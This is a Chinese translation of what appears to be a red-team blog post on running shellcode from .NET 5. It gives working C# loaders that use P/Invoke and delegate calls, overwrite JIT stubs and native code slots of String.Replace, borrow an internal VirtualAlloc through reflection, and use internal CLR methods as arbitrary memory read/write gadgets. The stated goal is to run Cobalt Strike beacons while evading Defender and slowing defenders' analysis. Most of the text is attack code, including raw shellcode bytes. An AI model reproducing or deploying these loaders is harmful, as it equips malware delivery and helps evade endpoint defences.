背景
自 .NET
框架发布以来,为了适应非托管代码,安全红队花费了莫大精力来制作 .NET
攻击项目。这些项目通常以加载器的形式出现,加载诸如Cobalt Strike beacon
之类的payload,并使用像 P/Invoke
之类的导入来调用可执行内存。但是,魔高一尺道高一丈,随着防御蓝队研究样本的不断增多,简单地通过 dllimport
导入 Win32 API 变得越来越难,从而产生了 D/Invoke
等替代技术。
最近,鄙人一直在研究 .NET 公共语言运行库 (CLR) 的内部结构,想了解哪些技术可用于从托管运行库执行非托管代码。本文就是我发现的一些骚操作的片段。
本文将重点介绍在 Windows 上执行 x64 位文件的 .NET 5.0
版本。由于微软统一了 .NET
标准,我们只能使用这个旧版本框架,而不是现在这个相当熟悉却支离破碎的版本。话虽如此,下面所有讨论的东西都可以应用于早期版本的 .NET 框架、其他体系结构和操作系统……
下面开始正文。
初步了解
在 .NET 中执行非托管代码时,我们通常想要实现什么? 假如是红队,一般想要运行原始的beacon payload,在该payload中运行 C# 封装的本地代码。
很长一段时间以来,最常见的做法是这样的:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void StartShellcode(byte[] shellcode)
{
uint threadId;
IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
if (alloc == IntPtr.Zero) {
return;
}
Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
一切看起来很乐观,但是很快蓝队就意识到:引用一堆可疑方法的 .NET
二进制文件 ,一看就是非奸即盗。
如果在一台受Defender保护的机器上导入并编译上述这种包含了如此明显特征方法的文件,Microsoft 会弹出一个明显的警告,表明这台机器刚刚感染了 VirTool: MSIL/Viemlod.gen!A
.
因此,当蓝队检测力度不断加强的时候,红队的绕过技术也在同步发展。执行非托管代码的演变归功于@fuzzysec 和@TheRealWover,他们引入了 D/Invoke
技术。现在暂且不讨论DLL 加载程序,来看看 D/Invoke
技术中使用的从托管代码转换为非托管代码的底层技术:关键方法 Marshal.GetDelegateForFunctionPointer
。文档将此方法描述为“将非托管函数指针转换为委托”。此方法成功解决了那些令人讨厌的导入问题,迫使防御者跳出 ImplMap
表去寻求其他的防御手段。关于如何使用Marshal.GetDelegateForFunctionPointer
在 x64 进程中执行非托管代码,下面是一个简单示例:
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr ShellcodeDelegate();
public static IntPtr GetExportAddress(IntPtr baseAddr, string name)
{
var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr);
var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>());
var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress);
for (int i = 0; i < exportHeader.NumberOfNames; i++)
{
var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4));
var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
if (m == "VirtualAlloc")
{
var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4));
return baseAddr + (int)exportAddr;
}
}
return IntPtr.Zero;
}
public static void StartShellcodeViaDelegate(byte[] shellcode)
{
IntPtr virtualAllocAddr = IntPtr.Zero;
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (module.ModuleName.ToLower() == "kernel32.dll")
{
virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
}
}
var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
shellcodeCall();
}
那么,除了这些方法以外,还有其他可用的技术吗?
探索未知领域
对普通 .NET 开发人员而言,底层 CLR 本身是隐藏的,平时根本不需要关注。 万幸,微软在 GitHub 上发布了 CLR 的源代码(点这里),让我们一起来康康它的实际运作方式。
首先从一个非常简单的程序开始:
using System;
using System.Runtime.InteropServices;
namespace Test
{
public class Test
{
public static void Main(string[] args)
{
var testObject = "XPN TEST";
GCHandle handle = GCHandle.Alloc("HELLO");
IntPtr parameter = (IntPtr)handle;
Console.WriteLine("testObject at addr: {0}", parameter);
Console.ReadLine();
}
}
}
编译完成后,使用 WinDBG 来收集有关 CLR 内部的一些信息。 从该程序输出的指针开始,使用SOS
扩展提供的 !dumpobj
命令来显示内存地址引用信息:
正如预期的那样,我们看到这个内存指向一个 System.String
.NET对象,并且还找到了各种可用的相关字段地址。接着查看第一个类MethodTable
,它代表 CLR 的 .NET 类或接口。 我们可以使用WinDBG的!dumpmt [ADDRESS]
方法进一步检查:
正如预期的那样,我们看到这个内存指向一个 System.String
.NET 对象,还可以看到各种可用的相关字段的地址。 首先查看第一个类 MethodTable
,它表示 CLR 的 .NET 类或接口。 可以使用!dumpmt [ADDRESS]
来进一步检查:
还可以使用 !dumpmt -md [ADDRESS]
命令来转储与 System.String
.NET 类关联的方法列表:
那么如何找到和MethodTable
相关的 System.String
.NET 方法? 对我来说屡试不爽的就是研究 EEClass
类,可以使用 dt coreclr!EEClass [ADDRESS]
命令来找到:
可以看到上图中有好几个字段,但我们只对识别和.NET 方法相关链的m_pChunks
字段感兴趣,它引用了一个 MethodDescChunk
对象,由以下结构组成:
附加到 MethodDescChunk
对象的是一个 MethodDesc
对象数组,这是一个隶属 .NET 类的 .NET 方法(在我们的例子中为 System.String
)。 在 x64位进程中运行时,每个 MethodDesc
都对齐到 18 个字节:
要了解有关此方法的信息,可以将地址传递给 !dumpmd
帮助命令,可知: System.String
的第一个 .NET 方法是 System.String.Replace
:
继续讨论之前,有必要大致了解一下在 .NET中执行某个方法时 JIT
编译进程的工作原理。 正如我在之前的文章中所讨论的,JIT 进程是“惰性的”,因为方法不会预先进行 “JIT化”(个别情况例外)。 相反,通过直接执行 coreclr!PrecodeFixupThunk
方法 ,编译被推迟到第一次使用时才进行,而该方法起到跳板的作用:
一旦这个方法被执行,本机代码就会被 JIT化,并且这个跳板会被 JMP
替换为实际编译的代码。
那么如何找到这个跳板的指针呢? 通常,这个指针将位于一个值槽中,该值槽位于 MethodTable
后面的向量中,而 MethodTable
又由 MethodDesc
对象的 n_wSlotNumber
索引。 但在某些情况下,该指针紧跟在 MethodDesc
对象本身之后,即所谓的“本地值槽”。 要判断是否是这种情况,我们可以查看MethodDesc
对象某个函数中的 m_wFlags
成员,查看是否设置了以下标志:
如果将内存转储给MethodDesc
对象,可以看到这个指针紧跟在该对象之后:
好的,有了对 JIT 进程如何工作的了解以及 .NET 方法的内存布局在非托管区域中的外观的一些想法,让我们看看我们是否可以在执行非托管代码时利用这一点。
劫持 JIT 编译来执行非托管代码
为了执行非托管代码,我们需要使用RIP
寄存器来取得控制权,现在我们知道通过JIT
进程执行的流程应该是相对简单的。
为此,定义一些结构来帮助我们更好地演示POC 代码,首先从 MethodTable
开始:
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(0)]
public uint m_dwFlags;
[FieldOffset(0x4)]
public uint m_BaseSize;
[FieldOffset(0x8)]
public ushort m_wFlags2;
[FieldOffset(0x0a)]
public ushort m_wToken;
[FieldOffset(0x0c)]
public ushort m_wNumVirtuals;
[FieldOffset(0x0e)]
public ushort m_wNumInterfaces;
[FieldOffset(0x10)]
public IntPtr m_pParentMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pLoaderModule;
[FieldOffset(0x20)]
public IntPtr m_pWriteableData;
[FieldOffset(0x28)]
public IntPtr m_pEEClass;
[FieldOffset(0x30)]
public IntPtr m_pPerInstInfo;
[FieldOffset(0x38)]
public IntPtr m_pInterfaceMap;
另外还需要一个 EEClass
结构:
[StructLayout(LayoutKind.Explicit)]
public struct EEClass
{
[FieldOffset(0)]
public IntPtr m_pGuidInfo;
[FieldOffset(0x8)]
public IntPtr m_rpOptionalFields;
[FieldOffset(0x10)]
public IntPtr m_pMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pFieldDescList;
[FieldOffset(0x20)]
public IntPtr m_pChunks;
}
再加上一个 MethodDescChunk
:
[StructLayout(LayoutKind.Explicit)]
public struct MethodDescChunk
{
[FieldOffset(0)]
public IntPtr m_methodTable;
[FieldOffset(8)]
public IntPtr m_next;
[FieldOffset(0x10)]
public byte m_size;
[FieldOffset(0x11)]
public byte m_count;
[FieldOffset(0x12)]
public byte m_flagsAndTokenRange;
}
最后是一个 MethodDesc
:
[StructLayout(LayoutKind.Explicit)]
public struct MethodDesc
{
[FieldOffset(0)]
public ushort m_wFlags3AndTokenRemainder;
[FieldOffset(2)]
public byte m_chunkIndex;
[FieldOffset(0x3)]
public byte m_bFlags2;
[FieldOffset(0x4)]
public ushort m_wSlotNumber;
[FieldOffset(0x6)]
public ushort m_wFlags;
[FieldOffset(0x8)]
public IntPtr TempEntry;
}
定义每个结构后,会使用到 System.String
类型并填充每个结构:
Type t = typeof(System.String);
var mt = Marshal.PtrToStructure<MethodTable>(t.TypeHandle.Value);
var ee = Marshal.PtrToStructure<EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<MethodDescChunk>(ee.m_pChunks);
var md = Marshal.PtrToStructure<MethodDesc>(ec.m_pChunks + 0x18);
上面值得一提的一个片段是 t.TypeHandle.Value
。 .NET 为我们提供了一种通过某个类型的 TypeHandle
属性来查找 MethodTable
地址的方法,这非常有用,为我们在内存中寻找目标 .NET 类(如上述 System.String
类型)节省了一些时间。
一旦有了 System.String
类型的 CLR
结构,就可以找到第一个 .NET 方法指针,正如上文提到的指针,指向 System.String.Replace
:
// Located at MethodDescChunk_ptr + sizeof(MethodDescChunk) + sizeof(MethodDesc)
IntPtr stub = Marshal.ReadIntPtr(ee.m_pChunks + 0x18 + 0x8);
这为我们提供了一个指向 RWX 保护内存的指针IntPtr
,只要System.String.Replace
方法首次被调用的时候,该指针就会被执行,并且是在 JIT 编译开始时执行。我们可以通过 下面的非托管代码来论证这个例子,首选工具当然还是 Cobalt Strike beacon:
byte[] shellcode = System.IO.File.ReadAllBytes("beacon.bin");
mem = VirtualAlloc(IntPtr.Zero, shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
if (mem == IntPtr.Zero) {
return;
}
Marshal.Copy(shellcode, 0, ptr2, shellcode.Length);
// Now we invoke our unmanaged code
"ANYSTRING".Replace("XPN","WAZ'ERE", true, null);
一旦执行,如果一切顺利,我们最终会从 .NET 中生成我们的beacon:
可能大家会关注那个 VirtualAlloc
调用,那不是我们试图避免的 P/Invoke
吗? 不要慌!虽然确实是P/Invoke
,但这与我们调用 .NET 的骚姿势没有任何冲突,没有什么能阻止我们从 .NET 框架中窃取现有的 P/Invoke
。 例如,如果查看 Interop.Kernel32
这个类,就会看到 P/Invoke
方法的列表,包括:VirtualAlloc
:
那么,如果我们只是借用 VirtualAlloc
方法来进行恶意投标呢? 所以根本不必直接从代码中 P/Invoke
:
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), 0x3000, 0x40 });
现在不幸的是, Interop.Kernel32.VirtualAlloc
这个P/Invoke 方法只返回一个 void*
,表示返回收到一个 System.Reflection.Pointer
类型。 这意味着需要使用一种不安全的方法,与本文目的相悖,所以会尽量避免。 故而,尝试使用内部方法 GetPointerValue
将其转换为 IntPtr
:
IntPtr alloc = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
可以看到代码中分配了 RWX
内存,而不必直接引用任何 P/Invoke
方法。 结合执行示例,最终得到这样的 POC:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace NautilusProject
{
public class ExecStubOverwriteWithoutPInvoke
{
public static void Execute(byte[] shellcode)
{
// mov rax, 0x4141414141414141
// jmp rax
var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);
var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);
if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)
{
Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");
return;
}
// Get the String.Replace method stub
IntPtr stub = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 8);
// Nick p/invoke from CoreCLR Interop.Kernel32.VirtualAlloc
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
// Allocate memory
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
// Convert void* to IntPtr
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Point the stub to our shellcode
Marshal.Copy(jmpCode, 0, stub, jmpCode.Length);
Marshal.WriteIntPtr(stub + 2, mem);
// FIRE!!
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
}
public static class Internals
{
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(0)]
public uint m_dwFlags;
[FieldOffset(0x4)]
public uint m_BaseSize;
[FieldOffset(0x8)]
public ushort m_wFlags2;
[FieldOffset(0x0a)]
public ushort m_wToken;
[FieldOffset(0x0c)]
public ushort m_wNumVirtuals;
[FieldOffset(0x0e)]
public ushort m_wNumInterfaces;
[FieldOffset(0x10)]
public IntPtr m_pParentMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pLoaderModule;
[FieldOffset(0x20)]
public IntPtr m_pWriteableData;
[FieldOffset(0x28)]
public IntPtr m_pEEClass;
[FieldOffset(0x30)]
public IntPtr m_pPerInstInfo;
[FieldOffset(0x38)]
public IntPtr m_pInterfaceMap;
}
[StructLayout(LayoutKind.Explicit)]
public struct EEClass
{
[FieldOffset(0)]
public IntPtr m_pGuidInfo;
[FieldOffset(0x8)]
public IntPtr m_rpOptionalFields;
[FieldOffset(0x10)]
public IntPtr m_pMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pFieldDescList;
[FieldOffset(0x20)]
public IntPtr m_pChunks;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDescChunk
{
[FieldOffset(0)]
public IntPtr m_methodTable;
[FieldOffset(8)]
public IntPtr m_next;
[FieldOffset(0x10)]
public byte m_size;
[FieldOffset(0x11)]
public byte m_count;
[FieldOffset(0x12)]
public byte m_flagsAndTokenRange;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDesc
{
[FieldOffset(0)]
public ushort m_wFlags3AndTokenRemainder;
[FieldOffset(2)]
public byte m_chunkIndex;
[FieldOffset(0x3)]
public byte m_bFlags2;
[FieldOffset(0x4)]
public ushort m_wSlotNumber;
[FieldOffset(0x6)]
public ushort m_wFlags;
[FieldOffset(0x8)]
public IntPtr TempEntry;
}
public const int mdcHasNonVtableSlot = 0x0008;
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
}
执行后,我们得到一个很好的beacon:
结果看起来还不错,但是如果我们想运行非托管代码之后进一步执行 .NET 代码? 可以有很多种方法来实现,首先来看看JIT 进程完成后MethodDesc
会发生什么。 JIT 之前对 String.Replace MethodDesc
进行内存转储如下:
JIT之后再次查看,会看到一个地址被填充:
如果我们从这个地址转储内存:
此处看到的是“本地代码值槽”,它是 JIT 进程完成后指向已编译方法的本机代码指针。 现在还不能保证这个字段是否存在,但是可以通过再次查看 m_wFlags
属性,来判断 MethodDesc
是否为本地代码值槽提供了一个位置:
我们希望设置的标志是 mdcHasNativeCodeSlot
:
如果此标志存在,我们可以简单地强制 JIT 编译并更新本地代码值槽,将其指向我们设定的非托管代码位置,这意味着 .NET 方法继续执行的话,就会触发预定的payload。一旦执行,我们可以跳回实际的 JIT 原生代码,以确保原始 .NET 代码顺利执行。 执行此操作的代码如下所示:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace NautilusProject
{
public class ExecNativeSlot
{
public static void Execute()
{
// WinExec of calc.exe, jmps to address set in last 8 bytes
var shellcode = new byte[]
{
0x55, 0x48, 0x89, 0xe5, 0x9c, 0x53, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
0x48, 0x8b, 0x7e, 0x30, 0x8b, 0x5f, 0x3c, 0x48, 0x01, 0xfb, 0xba, 0x88,
0x00, 0x00, 0x00, 0x8b, 0x1c, 0x13, 0x48, 0x01, 0xfb, 0x8b, 0x43, 0x20,
0x48, 0x01, 0xf8, 0x48, 0x89, 0xc6, 0x48, 0x31, 0xc9, 0xad, 0x48, 0x01,
0xf8, 0x81, 0x38, 0x57, 0x69, 0x6e, 0x45, 0x74, 0x05, 0x48, 0xff, 0xc1,
0xeb, 0xef, 0x8b, 0x43, 0x1c, 0x48, 0x01, 0xf8, 0x8b, 0x04, 0x88, 0x48,
0x01, 0xf8, 0xba, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x25, 0x00,
0x00, 0x00, 0xff, 0xd0, 0x5f, 0x5e, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,
0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59,
0x5b, 0x9d, 0x48, 0x89, 0xec, 0x5d, 0x48, 0x8b, 0x05, 0x0b, 0x00, 0x00,
0x00, 0xff, 0xe0, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);
var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);
if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)
{
Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");
return;
}
if ((md.m_wFlags & Internals.mdcHasNativeCodeSlot) != Internals.mdcHasNativeCodeSlot)
{
Console.WriteLine("[x] Error: mdcHasNativeCodeSlot not set for this MethodDesc");
return;
}
// Trigger Jit of String.Replace method
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// Get the String.Replace method native code pointer
IntPtr nativeCodePointer = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
// Steal p/invoke from CoreCLR Interop.Kernel32.VirtualAlloc
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
// Allocate memory
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
// Convert void* to IntPtr
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Take the original address
var orig = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
// Point the native code pointer to our shellcode directly
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, mem);
// Set original address
Marshal.WriteIntPtr(mem + shellcode.Length - 8, orig);
// Charging Ma Laz0r...
System.Threading.Thread.Sleep(1000);
// FIRE!!
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// Restore previous native address now that we're done
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, orig);
}
public static class Internals
{
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(0)]
public uint m_dwFlags;
[FieldOffset(0x4)]
public uint m_BaseSize;
[FieldOffset(0x8)]
public ushort m_wFlags2;
[FieldOffset(0x0a)]
public ushort m_wToken;
[FieldOffset(0x0c)]
public ushort m_wNumVirtuals;
[FieldOffset(0x0e)]
public ushort m_wNumInterfaces;
[FieldOffset(0x10)]
public IntPtr m_pParentMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pLoaderModule;
[FieldOffset(0x20)]
public IntPtr m_pWriteableData;
[FieldOffset(0x28)]
public IntPtr m_pEEClass;
[FieldOffset(0x30)]
public IntPtr m_pPerInstInfo;
[FieldOffset(0x38)]
public IntPtr m_pInterfaceMap;
}
[StructLayout(LayoutKind.Explicit)]
public struct EEClass
{
[FieldOffset(0)]
public IntPtr m_pGuidInfo;
[FieldOffset(0x8)]
public IntPtr m_rpOptionalFields;
[FieldOffset(0x10)]
public IntPtr m_pMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pFieldDescList;
[FieldOffset(0x20)]
public IntPtr m_pChunks;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDescChunk
{
[FieldOffset(0)]
public IntPtr m_methodTable;
[FieldOffset(8)]
public IntPtr m_next;
[FieldOffset(0x10)]
public byte m_size;
[FieldOffset(0x11)]
public byte m_count;
[FieldOffset(0x12)]
public byte m_flagsAndTokenRange;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDesc
{
[FieldOffset(0)]
public ushort m_wFlags3AndTokenRemainder;
[FieldOffset(2)]
public byte m_chunkIndex;
[FieldOffset(0x3)]
public byte m_bFlags2;
[FieldOffset(0x4)]
public ushort m_wSlotNumber;
[FieldOffset(0x6)]
public ushort m_wFlags;
[FieldOffset(0x8)]
public IntPtr TempEntry;
}
public const int mdcHasNonVtableSlot = 0x0008;
public const int mdcHasNativeCodeSlot = 0x0020;
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
}
在运行时,可以看到在非托管代码执行完毕后我们可以恢复 .NET的正常运行:
可能大家要问,除了这个,还能在.NET
运行库中发现什么有趣的东西,还有什么我们可以用来在托管和非托管代码之间转换的骚操作?
内部引用和 Qcall
如果各位观众老爷曾经花费了大量时间来反汇编 .NET
运行库,大家会遇到使用诸如 [MethodImpl(MethodImplOptions.InternalCall)]
等属性注释的方法:
在其他地方,可以看到一个引用到DllImport
的奇怪命名的DLL:Qcall
:
两者都是将执行转移到 CLR 的例子。 在 CLR 中,它们分别称为Fcall
和Qcall
。 这些调用存在的原因各不相同,但本质上,当 .NET 框架无法从托管代码中执行某些操作时,Fcall
或 Qcall
用于返回到 .NET 之前请求本地代码来执行。
一个很好的例子是我们已经遇到过的:Marshal.GetDelegateForFunctionPointer
。 如果我们反汇编System.Private.CoreLib
这个DLL,就会发现它最终被标记为 Fcall
:
进一步查看 CLR 源代码,寻找调用结束的位置。 需要查看的文件是 ecalllist.h
,它描述了在 CLR 中实现的 FCall 和 QCall 方法,包括我们的 GetDelegateForFunctionPointerInternal
调用:
如果跳转到本地方法 MarshalNative::GetFunctionPointerForDelegateInternal
,可以看到调用此方法时使用的本地代码:
现在……如果我们能找到一些 FCall 和 QCall 小工具,可以处理非托管内存的话,那不是很酷吗? 毕竟,迫使蓝队在 .NET 代码反汇编和CLR 源代码审计之间转换肯定会大幅减慢他们静态分析的速度……。 那就从寻找一组能够导致代码执行的内存读写小工具开始。
第一个 .NET 方法是 System.StubHelpers.StubHelpers.GetNDirectTarget
,它是一个内部静态方法:
将这段代码跟踪到 CLR 中,看看发生了什么:
目前看起来不错,里面有一个从托管代码传递到非托管代码的 IntPtr
指针,没有任何证据表明我们传递的指针实际上是一个 NDirectMethodDesc
对象指针。 那么 pNMD->GetNDirectTarget()
调用能起到什么作用?
所以这里我们有了一个可控的从对象返回的成员变量。 从上文可知,我们可以使用它来返回IntPtr.Size
个字节长度的任意内存。那么如何实现呢? 让我们回到 .NET 并尝试以下代码:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace NautilusProject
{
public class ReadGadget
{
public static IntPtr ReadMemory(IntPtr addr)
{
var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
// Spray away
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = 0; i < 200; i += IntPtr.Size)
{
Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
}
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}
}
}
如果我们运行这个:
到这一步就有了可以与非托管内存进行交互的第一个小工具。接下来就要考虑如何写内存了。 同样,如果我们查看可用的 Fcalls
和 Qcalls
,很快就会发现几个候选对象,包括 System.StubHelpers.MngdRefCustomMarshaler.CreateMarshaler
:
沿着执行路径,我们发现这会导致方法 MngdRefCustomMarshaler::CreateMarshaler
的执行:
我们再来看看这个方法在本地代码中的作用:
查看MngRefCustomMarshalaer
这个类,发现 m_pCMHelper
是该类中唯一存在的成员变量:
那就简单了,我们可以控制变量 pThis
和 pCMHelper
,将 8 个字节写入任何内存位置。 执行此操作的代码如下所示:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace NautilusProject
{
public class WriteGadget
{
public static void WriteMemory(IntPtr addr, IntPtr value)
{
var mngdRefCustomeMarshaller = typeof(System.String).Assembly.GetType("System.StubHelpers.MngdRefCustomMarshaler");
var CreateMarshaler = mngdRefCustomeMarshaller.GetMethod("CreateMarshaler", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
CreateMarshaler.Invoke(null, new object[] { addr, value });
}
}
}
玩点有趣的,使用这个小工具来修改 System.String
对象的长度,来证明我们能够修改任意内存字节:
好的,现在有了 2 个(可能更多)可利用的工具,如果将它移植到代码中执行会是什么样子? 好吧,最终得到了一些非常奇怪的东西:
(原文好像忘记贴图了)
当然,如果顺利执行,最终会得到我们想要的非托管代码执行结果:
(此处是一个视频,链接:https://youtu.be/-HDxYfUYFLw)
可以在此处找到提供本文中所有示例的项目:https://github.com/xpn/NautilusProject。
考虑到 .NET 框架的规模,本文讨论的只是冰山一角,但希望能够抛砖引玉,给大家分享一些关于如何使用一些常规的函数实现非托管代码执行的骚操作。 本文完
没有评论